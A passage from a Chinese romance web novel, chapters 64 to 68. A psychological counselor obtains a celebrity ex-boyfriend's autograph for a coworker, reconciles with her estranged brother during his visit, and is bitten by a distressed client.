回到咨询室，鞠言立刻点进了通讯栏里那个陌生的号码： 【麻烦不要再提起这些的事了。】 发完消息，她的指尖在“屏蔽此号码”前停留了几秒，选择了退出- “晓菲，咱换一个追也没关系。” 午餐时间，杨欣看着身旁仿佛蒙了一层阴影的穆晓菲，小心地安慰道。 穆晓菲有气无力地把西兰花送进嘴里：“我已经决定做林今世的事业粉了。” 看着她这幅病怏怏的模样，鞠言莫名觉得有些内疚，忍不住开口道： “那你，还想不想要林今世的签名照？” 林今世的亲签，穆晓菲念叨了好几次，几乎是做梦都想要。 “嗯？”此话一出，穆晓菲连同另外三个人都一起看向她。 鞠言忙道：“我有个朋友认识林今世，我可以拜托他帮你要一张。” “真的吗！”穆晓菲的眼睛瞬间亮了起来，脸上的阴霾一扫而光。 鞠言点点头：“嗯……我可以试试看，不过不能保证一定拿得到。” “没事没事！有这个渠道已经很宝贵了！你不混圈不知道，林今世的签名照早就已经十几万一张了！” “啊，这么夸张？”贺思源吃惊地咂了下舌。 “那可是林今世的亲笔签名，有什么好惊讶的！”穆晓菲露出少见多怪的神情。 她看向鞠言，嘱咐道：“比比，你可千万不能忘了！一定要帮我问！”她忽然露出了低 落的模样，“不过高于五万就算了。” “五万你也买？？？”杨欣露出被吓到的表情。 “我努力工作就是为了这个好嘛！”穆晓菲毫不心虚。 乘电梯上楼时，鞠言拿出手机，点进与“陌生号码”的聊天框，她上午那条消息发过去之后，林今世很快便回复了过来，但鞠言一直忙于工作，并没有看见。 林今世：【知道了。不要拉黑我，可以吗？】 过了十几分钟，一个莫名其妙的：【。】 “……” 鞠言没有去理会上面的那些讯息，她的手指在屏幕上悬停着，思想在反复拉扯。 她不想和林今世有太多纠葛，也不想欠他，可是除了和他本人联系以外，鞠言也没有其他渠道拿到他的签名照了。 鞠言微微叹了口气，逃避地将手机熄了屏揣进兜里。 可下一刻，她的眼前就出现了穆晓菲最近几日红红的眼眶以及听到她说能拿到林今世签名照那一刻眼睛里的光彩。 鞠言重新把手机拿了出来，一鼓作气给“陌生号码”发去消息： 【可以给我一张你的签名照吗？】 片刻不到，林今世扣了个【？】发过来。 鞠言如实道：【我有个朋友一直很喜欢你。】 隔了好一阵，林今世才回复过来： 【什么意思？】 鞠言的耳畔仿佛出现了他冷冷的声音。 “……”她知道他肯定又想到另一方面去了。 鞠言：【我没有要给你相亲。】 林今世：【要多少？】 鞠言莫名觉得林今世像批发商：【一张就可以了。】 林今世：【要不要写什么话？】 鞠言想了想，指尖在屏幕上轻跃：【写天天开心，万事如意可以吗？】 林今世：【知道了。】 想到穆晓菲说的天价，鞠言犹豫了下，问到： 【需要给你多少钱？】 林今世隔了许久才回复过来，连文字都能看出情绪：【你跟我提钱？】 鞠言：“……”- 林今世的签名照是在第二天下午由专人送过来的，里面应该不会有有关她的东西，鞠言便直接将盒子拿给了穆晓菲。 “这么快？！”穆晓菲有些惊讶。 “我朋友说，林今世昨天正好在……”鞠言扯谎道。 穆晓菲没有怀疑，她迫不及待地跑去人事部借了把小剪刀来。 穆晓菲把盒子放在桌上，小心翼翼地拆开，里面是一张包装的极其用心的六寸半身照。 照片中的林今世只是穿着简单的黑卫衣，却仍漂亮到扎眼，底下除了字迹潇洒的“林今世”以外，还有鞠言说的那句祝福。 “竟然真的是林今世的签名！”穆晓菲反复辨认着字迹，激动得肩膀微微发颤，她双手捧着，生怕弄皱一丝一毫。 她目不转睛地盯着照片上的林今世： “这张是未公开的照片！比比你的朋友也太神通广大了！” 鞠言心虚地笑了笑：“……” 她很少关注娱乐圈，并不知道未公开的意义，不过从穆晓菲的反应来看，应该是很好的。 穆晓菲将照片小心翼翼地收进包里。忽然扑过来，不等鞠言反应，就在她脸上狠狠亲了一口。 鞠言被她扑得向后退了一步，微笑道：“那接下来几天可要开心一点哦。” “嗯嗯！” 回到办公室，鞠言拿出手机，给林今世发去消息：【谢谢。】 林今世几乎是秒回：【既然你执意要谢，别就口头上。】 他似乎是被她的客气惹恼了。 “……”鞠言抿了下唇：【那你想要什么？】 消息虽然发出去了，但她有些紧张，如果林今世发过来的要求是她不想接受的，但已经欠下了人情，再拒绝也不应该，那自己到时候该怎么办。 手机没有传来消息提醒的几秒仿佛格外漫长。 鞠言拿起马克杯又放下，没有了做别的事情的心情。 搁在桌上的手机震动了下，鞠言微微吸了口气，点进了短信。 望着屏幕上的内容，她一时愣住了，林今世回复过来只有四个字： 【别拉黑我。】 溢出屏幕的卑微直朝她扑过来。 鞠言的手微微在发抖，她知道自己有些心软了，控制不住的。 鞠言垂下眼，回复道：【嗯。】- 屏幕的另一面，林今世看着手机里那一个简短的“嗯。”身后无形的尾巴都快摇起来了。 第65章 这天中午,在李景显走后，穆晓菲八卦地凑近鞠言：“欸，比比,我怎么觉得小李总喜欢你啊。” 自从拿到那张写着她的名字的专属签名照以后，穆晓菲不仅重新恢复了活力,甚至变得比从前更活力四射了。 “……”乔楠和贺思源夹菜的手同时停了停。 “没有的事。”鞠言拆完外卖包装袋，用一只手指点住穆晓菲的额头把她推开。 “说真的呀！”穆晓菲眨了眨眼睛,“你没发觉小李总很喜欢来找你说话吗，以前的时候他可不常来咱们医院！来一趟也是直接去沈院那。” 鞠言还没说话，穆晓菲已自顾自滔滔不绝地替她考虑起来,“你们俩挺般配的，小李总虽然看起来像个花花公子，但其实人还蛮不错的,也算得上年轻有为……” 她捏着自己的下巴，目光认真地看了鞠言一眼，点了下头：“就是你俩身高差的有点儿多,以后生宝宝会有风险——” “欸欸欸，”鞠言赶忙打住她,“你这儿说到哪儿去了。” 穆晓菲像是没听见,她忽然想到了什么，尖叫了一声,“比比！那你以后可就是我们森北的少奶奶了！你以后可要多罩着我！” 鞠言捂住她的嘴,急道：“不许再说了！再说我真的生气了！” 穆晓菲瞪大眼睛看着她：“……” 等穆晓菲乖巧地点了头，鞠言才放下手，低声道：“而且，我对小李总也没意思。” 身旁的乔楠似乎松了口气。 “那，那鞠言姐姐喜欢类型的是什么样的？” 贺思源一问完,便不甚在意地拿起水杯喝水。 另外三人好奇地看向她。 鞠言摇了摇头，淡笑道：“没想过，可能遇见了才会发现他是我喜欢的。” 贺思源问：“一次也没有遇见过吗？” 贺思源平时不像是对这些感兴趣的，鞠言不由得朝他看了一眼，才声音轻轻地说道：高中的时候，有过。” 随着脱口的话语，她的眼前瞬间跳出了林今世的脸，还有她中学时期偷偷注视过无数次的修长背影。 “……不过已经分手了。” 看着鞠言明显低了下去的情绪，贺思源略微一怔，连忙住口不再说这个话题。 贺思源似乎很内疚，鞠言浅笑道：“只是突然想起来有点难受而已，已经没事了。”- 春夏在早出晚归中流逝。 鞠言治愈了很多来访者，也碰到了很多无法单靠心理咨询解决心理问题的来访者。 靠着自己不断进步的专业能力以及广受好评的认真负责，鞠言的名气越来越大，现在她每日的预约都是爆满的状态。 虽然比从前辛苦了不少，可对她来说，每天都很充实快乐。 已经是晚秋了，森北医院前的花坛内的飞燕草却仍旧盛放如海。 天暗得快，鞠言今天下班不到六点，可沿街的路灯都已经全部开始工作了。 鞠言挽着包走在璀璨灯火包围的道路上，她有些出神，因为今天是鞠然的生日。 如果可以，鞠言真想不记得这件事，可偏偏每年的今天这件事都会不受控制地在她的脑海里横亘着。 鞠言走到斑马线旁停下，和身旁的行人一起等待红灯跳转成绿色。 红色的数字倒数到零，几十双不同的脚几乎同时开始向前走。 走出几步，鞠言的目光却忽然被马路旁的一对小兄妹吸引了。 现在天气冷了，他们却还在甜品站买圆筒冰淇淋，显然是大一点的小男孩想出来的。 小男孩付了钱，先将第一支冰淇淋递给站在身边的妹妹，再伸手去拿自己的。 小女孩满怀期待地接过冰淇淋，才舔了一口，没抓稳，冰淇淋脱手掉到了地上。 小女孩怔怔地看着在地上慢慢融化的绿色冰淇淋，忍不住放声大哭起来。 小男孩也吃了一惊，很明显家长给的钱刚好只够买两支淇淋。 他犹豫了一下，而后有些不舍地将自己的冰淇淋递到了正哭泣的妹妹面前。 小女孩摇了摇头，不肯要。 甜品站前的小小黄色盏灯照在两个孩子的身上，鞠言驻步瞧着，不觉触景生情。 她忆起七八岁的时候，有一回在楼下玩，碰到了住在楼下的阿姨，两人礼貌地向她打了招呼。 邻居阿姨没有孙子，平时就很喜欢鞠然。 她笑应了一声，从手里提着的塑料袋里拿了一只大雪梨给鞠然，又拿了一只要小许多的 递给鞠言。 鞠然一拿到手，立刻将那只大的递到了鞠言手上，将她手上那只小的换了过去。 “谢谢哥哥。”鞠言捧着雪梨笑道。 “呦！”邻居阿姨轻呼了一声，“大的是给你的，妹妹人小，吃小的就够了。” 鞠然认真地摇了摇头，“妹妹喜欢吃雪梨。”他又转过头对鞠言道：“不够的话，哥哥的再给你一半。” …… 鞠言情不自禁地走过去，屈膝蹲下来，她从包里拿出纸巾替小女孩擦去眼泪，温柔道：“别哭，别哭，阿姨再给你买一个吧。” 小女孩望着她，抽噎着点了点头。 鞠言笑笑，站起身在窗口买了一支香草的，一只抹茶的。 她一手握着一个，转过身蹲下，让小女孩选一支自己喜欢的。 小女孩在两支冰淇淋上纠结了片刻，选了抹茶味的。 “要跟姐姐说谢谢。”她的哥哥在一边提醒她。 “谢谢姐姐。”小女孩破涕为笑。“ “不客气。”鞠言微笑道，“不过其他陌生人买的东西不可以轻易地吃哦。” 小女孩用力地点了点头，迫不及待地伸舌头舔了一口冰淇淋。 和两个小朋友挥手告别后，鞠言一边朝地铁站走，一边吃着香草味的冰淇淋，她的长发被傍晚的风吹得往后流动着。 坐在地铁上，鞠言从白色大衣的口袋里掏出手机，点进了和鞠然的聊天界面。 每年她生日，鞠然都会卡点给她发一句“比比，生日快乐。”以及一个红包。 但她从不回复，也不收他发过来的红包，直至过期自动退还。 已经快有四年了吧…… 鞠言的目光落在一串串没有回复的消息上。心中不免有些凄迷，她垂睫看着屏幕，打了几个字又删掉，删来改去，最后还是只打了“生日快乐”四个字。 她的手指在屏幕前停留了许久，按下发送。 随后又发了一个红包过去。 鞠然应该是在忙，等鞠言回到家了，他还没有回复过来。 鞠言把手机搁下充电，拿上睡衣先去洗澡。她有点轻度洁癖，不管有多累，回家都得先把在户外穿过的衣服换下来。 等鞠言从浴室出来，手机里已冒出了许多条信息。 鞠然已经收了红包：【谢谢比比！！！】 间隔了一会儿，见她没有回复他，他又试探着聊： 【你最近忙不忙？不累吧？】 又间隔了一会儿： 【你……不生哥哥的气了？】 看着连文字都透着小心翼翼的鞠然，鞠言忍不住一笑的同时又有些心涩：【不跟傻子计较了。】 这条消息发出后，对面立刻打了个视频电话过来，鞠言在书桌前坐下，竖起手机放在支架上，接通视频。 一个略有些陌生的男人的脸出现在眼前，鞠然剃成了短发，少年的青涩已经褪尽，轮廓比从前硬朗英气了许多。 时隔太久，他的变化又大，鞠言第一眼不禁略微怔了下。 鞠然一时也没有说话，安静的间隙，尴尬迅速不请自来。 “头发怎么剪了，不是特意留了很久吗？”鞠言先开口，她一边低头整理公益咨询的资料，一边说。 “早就剪了，”鞠然抬手摸了下头发，“还是这样方便。” 鞠言停下手，抬起脸看他：“你好像还晒黑了一点。” “你变化比我大。”鞠然笑。 他迟疑了下，还是忍不住问，声音很轻：“你真的不生我气了？” “好啦，原谅你了。”鞠言笑说。 鞠然的脸上也现出了笑容，他高兴得说话也有点胡言乱语起来，没话找话道： “怎么会忽然想起我了？” “突然有点想我哥了呗，还能有什么别的原因。”鞠言直接道。 鞠然不好意思地笑了一下，低声道：“我也很想你，特别想……”他咳嗽了一声，换了一种欠兮兮的语气，“你不在我都没人捉弄了。” 鞠言故作惊讶：“你这是脸红了吗？” “怎么会！”鞠然立刻带反驳意味地喊道，“我只是太开心了好不好！” 鞠言不再逗他：“你什么时候到清津来玩，我请你吃饭。” 大学毕业后鞠然没有留在清津，也没有选择从事与播音有关的工作，而是选择回玉雾开了一家个人摄影工作室。 鞠然以前就喜欢摄影，出去玩脖子上经常挂着相机，他的第一个二手相机里就存着鞠言在夏天，乱挽着头发，穿着拖鞋和睡衣捏着铁勺子挖西瓜吃的“黑历史”。 “好啊，我把这两天的客单清了就来。你到时候可别小气啊！”鞠然笑道，似乎怕她只是口头一说，又嘱咐道，“你等下就把定位发给我。” 鞠言无语道：“这点小事我还能骗你嘛。” 鞠然这才放心了，两人又随便聊了几句，结束了视频后，鞠言将医院的定位发给了他。 第66章 鞠然乘坐的列车在12:50分到站,鞠言趁着午休时间，匆匆打了辆的士赶去了清津火车站。 鞠言卡点到了火车站，她站在出口处对面,从一大波涌出来人流中寻找着好几年没见过面的哥哥。 在掠过一张张陌生的脸后，她的目光触到了一个身型高大的男人,他左肩挎着一个书包，左手牵着一个白色的大行李箱,右手还拎着好几只礼品盒。 和鞠言目光相对，男人抬起拎着好几只礼盒的手朝她挥了挥。 鞠言怔了下，这才确定他就是鞠然。 鞠然变了很多,不止是容貌上变得成熟了，连眼神都沉稳了许多，完全没有了从前那股毛头小子的臭屁劲儿。 鞠言看着他手中的礼盒,没想到他已经对她客气成这样了，她越过人潮走到鞠然跟前：“买东西干什么，提着不累吗。” “又不是给你。”鞠然不客气地把其中几盒的分给她拎,“帮我拿一下，拎得手都酸了。” 鞠言接过其中两盒,拎起来看了一下,是几箱从精致的包装上就能知道价格不菲的高档茶叶。 鞠言莫名其妙：“你浪费钱买这种东西干什么？” “送给你同事的，你一个人在外面,肯定得请他们多关照你一下。” 鞠言失声而笑：“你真的是鞠然吗,不会早被外星人掉包了吧？” “没良心。”鞠然抬起一只牵着好几根礼盒绳的手，冲她拉了下眼皮。 两人之间总算有了一些过去的氛围，鞠言打了辆的士，先带鞠然去她的屋子，把行李放下后,鞠言询问道： “你吃饭了吗？” 鞠然的目光扫视着她的出租屋：“没呢，高铁上的盒饭死贵死贵的，还很难吃，我可等着落地你请我吃大餐呢！” 鞠言扑哧一笑：“那你想吃什么，尽管说。” 鞠然不假思索：“你平时最常去的那一家。” 鞠言实话实说：“我最常去的可是一家玉雾口味的面馆，你别后悔。” 鞠然也跟着笑起来：“那可太巧了，说实话，清津的东西前几年早就吃腻了，吃来吃去还是家乡菜最好吃。” 鞠言：“那就吃面？” 鞠然扬唇：“出发！” 见他还将那几箱茶叶拎在手中，鞠言说道：“茶叶就在这里放下吧，拿着麻烦。” “等下要送给你上司的，省得再回来跑一趟。” “不需要，我们院长最反感这种送礼文化了。”鞠言将那几箱茶叶从鞠然手中拿过来，搁 到桌上。 “那就给你同事。”鞠然执着地伸手想重新去拎。 鞠言推开他的手：“我们科室那么多人呢，我私下给几个关系好的就可以了。” “那好，随你安排。” 鞠然收回手，他想起了什么，摸了下外套口袋，从里面拿出一双崭新的白色绒手套递给鞠言。 “你冬天不是经常手冷吗？给你买了副手套，纯兔毛的。” 鞠言接过来，当即在手上试戴了一下，毛绒绒的很舒服，大小也刚好。 她将手套脱下来，放进通勤的包包里，弯起眼睛道：“谢谢哥。” 似乎是听到她喊他哥，鞠然不好意思地抬手摸了下鼻子，嘴角泛起了一点笑。 “我们出发吧，坐地铁过去也要一会儿了。”鞠言将通勤包挎到肩上- 搭乘地铁到了附近的旧城区，鞠言平日里常去的那家面馆在一条普通的小巷里。 面馆是一对中年夫妻经营的，面店的老板陈阿姨人也是玉雾的，人很和善，虽然店内桌椅设施都比较陈旧，但擦得很干净。厨师的手艺也很棒，面条料多味鲜。 鞠言心情好，连带走路也有点蹦蹦跳跳的。 鞠然看着她忍不住笑，“怎么还像个小屁孩？” 鞠言不服气道：“你以前比我还像，现在仗着自己成熟点了就开始嘲笑我了？” 鞠然侧过头认真打量着她：“明明刚见面的时候挺成熟的呀，怎么一到我旁边就变得这样了。” “……别自作多情。” 由于已经十二点多了，店里只有零星几个人在吃面，陈阿姨一手插着腰，站在柜台旁仰着脸看安在上方的电视机。 鞠言推开玻璃门，用方言喊了声：“陈孃孃。” 陈阿姨回过头冲她一笑。鞠言是常客，又很有礼貌，因此陈阿姨特别的喜欢她，她的那一份料也总是比寻常的要多好些。 陈阿姨第一时间看见了鞠言身旁的鞠然，她打量了他几眼，而后意味不明地冲鞠言眨了眨眼睛。 鞠然莫名其妙：？” 鞠言：“……？” 鞠言给鞠然点了自己觉得味道最好的牛肉拌面。 人少，面条很快就烧好了，陈阿姨将两份一起用盘托端着送过来。 面条刚出锅，热腾腾的冒着白雾。 “谢谢。”鞠言礼貌道。 鞠然也说了一声。 陈阿姨上完面条后并没有离开，而是站在桌旁盯着鞠然打量了一会儿，她笑眯眯地问：“小言，这是你男朋友吗？真有夫妻相！” 鞠然从筷筒里抽筷子的动作顿住：“呃？” 鞠言稍愣了下，无奈地笑道：“孃孃，这是我哥啦。” “我说呢，怎么长得这么像。”陈阿姨又认真朝鞠然看了两眼。 等陈阿姨走了，鞠言笑道：“肯定是你对我太客气了。” “放屁！只是因为咱俩长得有些像好不好。” 鞠然边反驳，边挑了一双看起来最新的筷子递给鞠言。 从面店出来，鞠言问道：“你想回去休息还是去我工作的地方？” 鞠然想也没想：“当然是去你工作的地方。” 鞠言点亮屏幕看了眼时间，刚好午休时间快结束了：“那正好，走吧。” 她刚想熄掉屏幕，看路况的软件忽然发来了提示，鞠言顿时心感不妙。 果然，通往森北的路段又堵上了。 他们只能放弃了打的士的想法，转而去乘地铁，地铁虽然挤，起码不会晚点。 地铁照旧拥挤，鞠言和鞠然几度差点儿被挤散，还好鞠然个子高站得稳，自己站稳的同时，还能充当一下鞠言的扶手。 一出站鞠然便感叹道：“我没留在清津，真是一个正确的选择！” 鞠言歪头看他：“你是在我这里炫耀吗？” “没有啦，比起玉雾来清津有清津的好处。比如说，嗯……” 鞠言笑弯了眼睛：“我看你一条都说不出来。” 鞠然也忍不住笑了：“好吧，我承认我恋家。” 从地铁口出来，迎面就出现了林今世那面招摇的巨幅奢侈品海报，太大了，他的脸又吸晴，不可能不看见。 兄妹俩默契地没有说任何话。 比起鞠言，在林今世冷淡的目光下，鞠然更加不自在，他刻意地扭过头，连余光都不敢看身旁的妹妹。 “……我都看习惯了。”鞠言冷不丁开口道。 鞠然隔了好一阵才干笑了几声，以做回应。 鞠言忍不住道：“你不用那么小心。” 鞠然不敢朝她看，缓缓道：“……现在，现在没关系了吗？提起他。” 鞠言目视前方：“都已经过去了。” 鞠然：“……” 森北医院在这个时间段简直是人山人海，废了好一会儿，才走到医护人员专用电梯的位置。 电梯磨磨蹭蹭地终于降到了一楼，两侧门退开，七八名白纷纷的医护人员涌出来，看见鞠言，匆匆点了个头示意。 等电梯里的人都走光了，鞠言和鞠然才往里进。 鞠然：“你每天上班都要这样挤一趟？” “还好，我早上来得早。”鞠言抬手点亮五楼的按钮，“中午一般不出去。” 离下午的第一场咨询开始还有一会儿，鞠言先带着鞠然去见了自己几个要好的同事。 乔楠凑过来轻声问道：“这是你哥哥吗？还蛮帅的。” 鞠言侧过脸认真地看了鞠然一眼：“我怎么没看出来哪帅了。” “那是你没眼光。”鞠然瞪了她一眼。 鞠然和乔楠牵了下手。穆晓菲站在一旁打量着鞠然，一脸思索的模样。 鞠言奇怪道：“晓菲，你在想什么？” “总感觉在哪里见过你哥哥。” “嗯？”鞠言更奇怪了，“会不会是你之前遇到过他，他也是在清津上的大学。” 穆晓菲：“有这个可能。” “那还真是有缘。”鞠然笑。 回到自己的办公室，鞠言盯着鞠然打量了下：“其实是变帅了一点。” “那是，以后还会越来越帅的。”鞠然的嘴角挑出了一个得意的笑。 鞠言嫌弃道：“好臭美，早知道不夸你了。” “你哥这叫帅而自知。” 鞠言“……” 下午的咨询快开始了。鞠然便在外面和乔楠她们聊天，他健谈，很快就和她们熟络了。 穆晓菲这个时间段空着，杨欣和贺思源都在忙，她便缠住同样闲着的鞠然，跟他大讲特讲有关林今世的事情。 鞠然不好告诉她其实自己知道的有关林今世的破事多到数不过来，只能一脸尴尬地听着。 穆晓菲正在讲一件林今世参加综艺时的趣事，鞠言的咨询室方向忽然传出一声女人喊破喉咙的咆哮声。 鞠然一惊，猛地回头看了过去。 “没事，可能是来访者情绪有些激动。”穆晓菲见怪不怪。 话音未落，鞠言的咨询室内又传出来花瓶与地面相碰后支离破碎的声音。 第67章 前台的几个小护士面面相觑,乔楠有些不放心，走过去轻敲了敲咨询室的门，几秒后,她开门走了进去。 鞠然也想跑过去，穆晓菲拉住他,“你是咨询师家属，不适合出现,会影响她工作的。” “……”鞠然只能站在原地，目不转睛地关注着鞠言咨询室的任何风吹草动。 片刻不到，乔楠急匆匆地小跑着出了咨询室。 鞠然的目光追随着她的身影进了科室,又看着她拿着一卷白色的绷带和药水赶回了咨询室。 过了好一会儿，乔楠才走了出来，看她神色不对,穆晓 菲把她喊过来： “小楠，是来访者受伤了吗？” “不是……”乔楠悄悄看了鞠然一眼，欲言又止。 鞠然神色瞬变,急忙问道：“我妹妹怎么了？” “没事没事，”乔楠忙道,“只是不小心被来访者误伤了,不严重的。” 鞠然追问道：“伤哪里了？” “来访者的情绪有些激动，在她手上咬了一口。”乔楠边说边看了穆晓菲一眼。 “……”鞠然的拳头不自觉地攥了起来。 “你别担心,已经包扎好了。”乔楠连忙安抚他。 “……” 鞠然一言不发走到在公共长椅上坐下,他低下头，十指在身前交挽，心急如焚地等待着这场咨询结束。 接下来的三十分钟度秒如年。 终于，咨询室的门打开了，他听到了鞠言平静温和的声音： “回去小心。” 鞠然霍地跳起身,朝咨询室跑过去，在门旁，他和一个面黄肌瘦的年轻女人擦肩而过。 女人在他的余光中拭泪，鞠然咬了下牙，恨不能狠狠给她一个耳光，但他明白这是鞠言的工作。 鞠然强逼自己忍了下来，他闭上眼睛不朝女人看，以免自己像拳头的眼神擂到她的脸上。 鞠然冲进咨询室，鞠言淡定地坐在位置上，她转过脸冲他微微一笑： “没想到你第一次来，就出现这种突发情况了。” 鞠然的目光浏览着她的半身，鞠言的手臂被大衣袖罩住了，他连白绷带都没有看见。 鞠然大步跨过地面上四溅开的花瓶玻璃以及飞燕草，走到鞠言的办公桌前： “哥看看。” 鞠言将手揣到衣兜里：“咬的不深，没事的。” “你听话一点行吗！”鞠然急道。 乔楠和穆晓菲也赶进了咨询室，乔楠道：“鞠医生，我陪你去重新包扎一下。” “不用了，”鞠言站起身，“你收拾咨询室吧，我自己去就可以了。” 鞠然：“我陪你去。” 银杏叶片大的咬痕在鞠言雪白的手臂上尤为触目，鞠然蹙眉盯着，直到它被白纱布一圈圈地覆盖着。 包扎完伤口，他们搭电梯回五楼。鞠言下午还有两场咨询。 看着电梯内壁反照出的眉头紧锁的鞠然，鞠言笑道：“只是小事，伤的又不重，别气了。” “这神经病。”鞠然低声骂道。 闻言，鞠言神色一凛：“不可以这样说我的来访者。” “知道了知道了。”鞠然气哄哄地应道。 鞠言接下来的两场咨询，鞠然都处于风声鹤唳的状态，好在没有再出现危险情况。 结束了工作，两人并肩走出医院大楼。 “晚上想吃什么？”鞠言问。 “吃点清淡的吧。”鞠然拿过鞠言的包挎到自己的肩膀上。 鞠言扬唇道：“那吃潮汕牛肉火锅好不好？” “行啊，只要鞠医生不嫌你哥只爱吃限量款牛肉。”- 在火锅店慢吞吞地吃完饭出来已经是七点多了。 鞠然明天就要走了，兄妹俩都想多相处一会儿，因而没有选择住酒店。 鞠言租的房子只有一张床，鞠然就在她床旁的地上打地铺。 鞠然洗完澡穿着成套的睡衣躺在被褥上，朝鞠言的方向侧着，一只手肘拄地撑着脸，给她讲两个人没有联系这段时间发生的事情。 作为独立摄影师，本来要想出名就困难，毕竟不是专业级别的，又是完全默默无闻，刚开始一个光顾的客人都没有。 后来好不容易靠着经营社交账号有了一些人气，没想到很快被人扒出了他曾经和林今世打架的那段视频。 虽然鞠然属于惨败的那一方，但林今世有些过激的粉丝还是把鞠然的社交账号全部冲了个遍。 搡了林今世一把的鞠言也被连带着狠狠骂了一顿，好在她们不知道她的身份。 鞠然哭笑不得地把这些事讲给了她听。 鞠言很少刷社交软件，这些事还是第一次知道，不过时过境迁，鞠言听了也不觉得生气，只感觉像是在听一件和她无关的八卦。 鞠言反趴在最外侧的床沿上，静静地听鞠然讲话。 鞠然就在床旁的地板上，错位的水平线使时间仿佛回到了过去，她晚上害怕抱着枕头去鞠然房间一起睡的孩提时代。 那个时候她很黏着鞠然，鞠然也不像青春期时那样顽皮惹人厌。 下雨了，屋檐开始演奏起雨的钢琴曲。 雨声的加入使兄妹俩有一阵没说话，安静过后，鞠言忽然道： “我一个人住之后，有时候做噩梦醒过来，就会想到我和你很小的时候，在你旁边就不害怕了。” 鞠然不好意思起来：“胆小鬼，都这么大了还害怕啊？” 鞠言笑了：“也不是害怕，只是有时候做大人太累了，就很想做回被人照顾的小孩子。” 鞠然也笑了：“我看你是平时给那些患者做心理辅导太累了，来吧，今天哥做一回你的心理咨询师，放开了讲！” “不是啦，只有有时候会很想变回小孩子。” “……” 想到今天下午那场咨询发生的事情，鞠然沉默了。 他静静望了她一会儿，笑起来：“那哥哥答应你，在我这里你可以永远当小孩。” 在谈话声与雨声中，困意渐渐席卷而来，鞠言无意识地合上眼，保持着原来的姿势就睡着了。 闹铃还没有响，隐约听见窸窸窣窣的声响，鞠言睁开眼睛。 略带朦胧的视线中，鞠然已经换好了外出棉服，正悬空提着行李箱预备离开。 “等我一下，我和你一起去车站。”想起鞠然回程的高铁订在早上七点十五分，鞠言连忙爬起来，她揉了揉惺忪的睡眼，让自己快速清醒。 鞠然弯下腰去穿鞋：“不用了，你再睡会儿吧。” “我送你。”鞠言坚持道- 六点五十分，清晨的冷风中充溢着淡淡的水汽，雨丝还在飘着。 进到火车站，鞠然收了伞，对鞠言道： “就送到这儿吧，你回去还能再睡一会儿。” 鞠言摇了摇头：“我平时也是这个时间起的。” “还是我的自由职业好。”鞠然笑了。 “你炫耀呢？”鞠言横了他一眼。 鞠然叫道：“哥只是心疼你好不好！” 鞠言笑道：“谢谢关心，不过我挺喜欢我的工作的。” 时间早，火车站内人还不是很多。 鞠言和鞠然缓步走到所属班次的检票口旁的铁椅上坐下。 鞠然犹豫了一下，问道：“比比，今年除夕，你回来过吗？” 鞠言沉默了一会儿，垂下眼轻声道：“再说吧。” 从大一那个除夕的争吵后，鞠言就没有再回家住过，除了实习前去搬了一次行李，连新年也不回去。 鞠然理解地点点头，抬手摸了下她的脑袋： “不回来也没事，哥哥会来看你。” 响亮而清晰的机械女声在火车站回荡： “各位旅客们请注意，由清津南站开往玉雾南站的Gxxx次列车就要开始检票了……” 鞠然站起身，单手牵住行李箱，做了个潇洒离去的姿势：“那我走啦！” 鞠言也站了起来，淡淡笑道：“路上当心。” “你也是。”鞠然转过身，牵着行李箱走向等候检票的队伍。 鞠言驻步在原地，她望着哥哥逐渐远去的背影，眼眶逐渐有些发酸。 送别的人往往比要离开的人更加难过。 她揣在大衣兜里的双手被兔毛手套包裹着，那股柔软而温暖的触感，在此刻似乎也在刺激着她。 鞠言的心里一股欲泪的冲动涌了上来。 即使医院里的同事们都很好，但有家人在身旁还是不一样的，前几年她心硬惯了，逼着自己不去想倒也没那么难过，可真的当亲人出现在自己面前，那感觉却又不一样了。 临到闸机，鞠然回过头用拇指冲通道指了指，示意自己走了，注意到鞠言湿红的眼睛，鞠然怔了怔，随后安抚性地笑起来： “别难受啊，我到了就给你打视频。” 他这么一说，鞠言更想哭了，忙背过脸：“你快走吧。” 鞠然：“……” 鞠言转过身去，抬起手按去脸上的泪，不想因为自己的情绪影响鞠然。 忽然有人从身后抱住了她，鞠然的声音从上方传来： “哥哥过几天再来看你。” 鞠言的泪如珍珠断线，她转回身紧抱住鞠然，将脸埋在他的肩上。 从四五岁时开始有了性别意识后，鞠言还是第一次再对鞠然有这么亲密的举动。 鞠然的手掌一下下轻轻落在她的后 背上，他低声一遍遍安抚着：“别难受，别难受……” 广播响起冷情的提示音：“各位旅客们请注意，由清津南站开往玉雾的Gxxx次列车即将停止检票，请乘坐该趟列车的乘客及时检票。” 鞠然不放心地松开抱着鞠言的手臂：“我走了，你要照顾好自己。” 鞠言抬手擦泪：“你也是。” “放心吧，你自己说的，我可你成熟多了。”鞠然用指弯在她鼻梁上刮了一下。 看着鞠言的唇边重新泛出了两道小梨涡，鞠然终于放下了心，他微笑道：“我真的走了嗷。” 鞠言点点头：“快去吧。马上都要迟到了。” 目送鞠然的身影完全消失后，她才折身离开- 今早起来时，鞠言发觉自己来例假了，去火车站时倒并没觉得不舒服，回程的路上小腹就隐隐地坠痛起来了。 雨已经转大了，劈劈啪啪打在薄荷绿的伞面上，即使鞠言已经走得很小心了，鞋子还是被掉到路面上的雨珠子溅潮了。 湿黏的冷雨加剧了鞠言身体的不舒服，她到了办公室，第一时间从柜子里找了双干燥的鞋子换上。 第一次咨询快开始了，鞠言问杨欣要了一颗布洛芬配着水咽下。而后再快速复习了一遍昨天晚上复习过的来访者资料。 布洛芬起效很慢，鞠言第一场咨询还是在隐痛中熬过去的。 她很想快点下班回家休息，但今天是周末，排号本就比平常多出两个。 许多患者都是千里迢迢从别的城市过来的，总不能让他们白跑一趟，鞠言点了杯热美式，皱着眉当药似的喝了一半，勉强支撑精神。 结束了上午的工作，鞠言没有下去吃晚餐，她在手机上点了份热的红枣甜粥外卖，一个人在办公室慢吞吞地吃着。 布洛芬的药效已经过了，小腹又坠痛起来，粥只吃了一小半，便没有胃口了，鞠言双手捂着肚子，恹恹地趴在办公桌上。 忽然感觉有人快步走近，不等鞠言抬起头，对方温暖的手已经轻轻搭到了她的背上。 鞠言仰起脸，年轻的男人一头金发，大半张脸被口罩遮着，透过墨镜，鞠言能隐约看到他眼中的关切与心疼。 第68章 熟悉的淡香包围在她的身侧,鞠言知道了来人是谁。 林今世戴的应该是假发，如果真的染了金发，穆晓菲肯定早就拉着她看过直出的生图了。 看着鞠言苍白到没有一丝血色的脸,林今世眉头微皱：“不能请假吗？” 林今世并没有占用咨询时间，因而没有惹怒鞠言。她摇了摇头：“没事的,过一会儿就好了。” 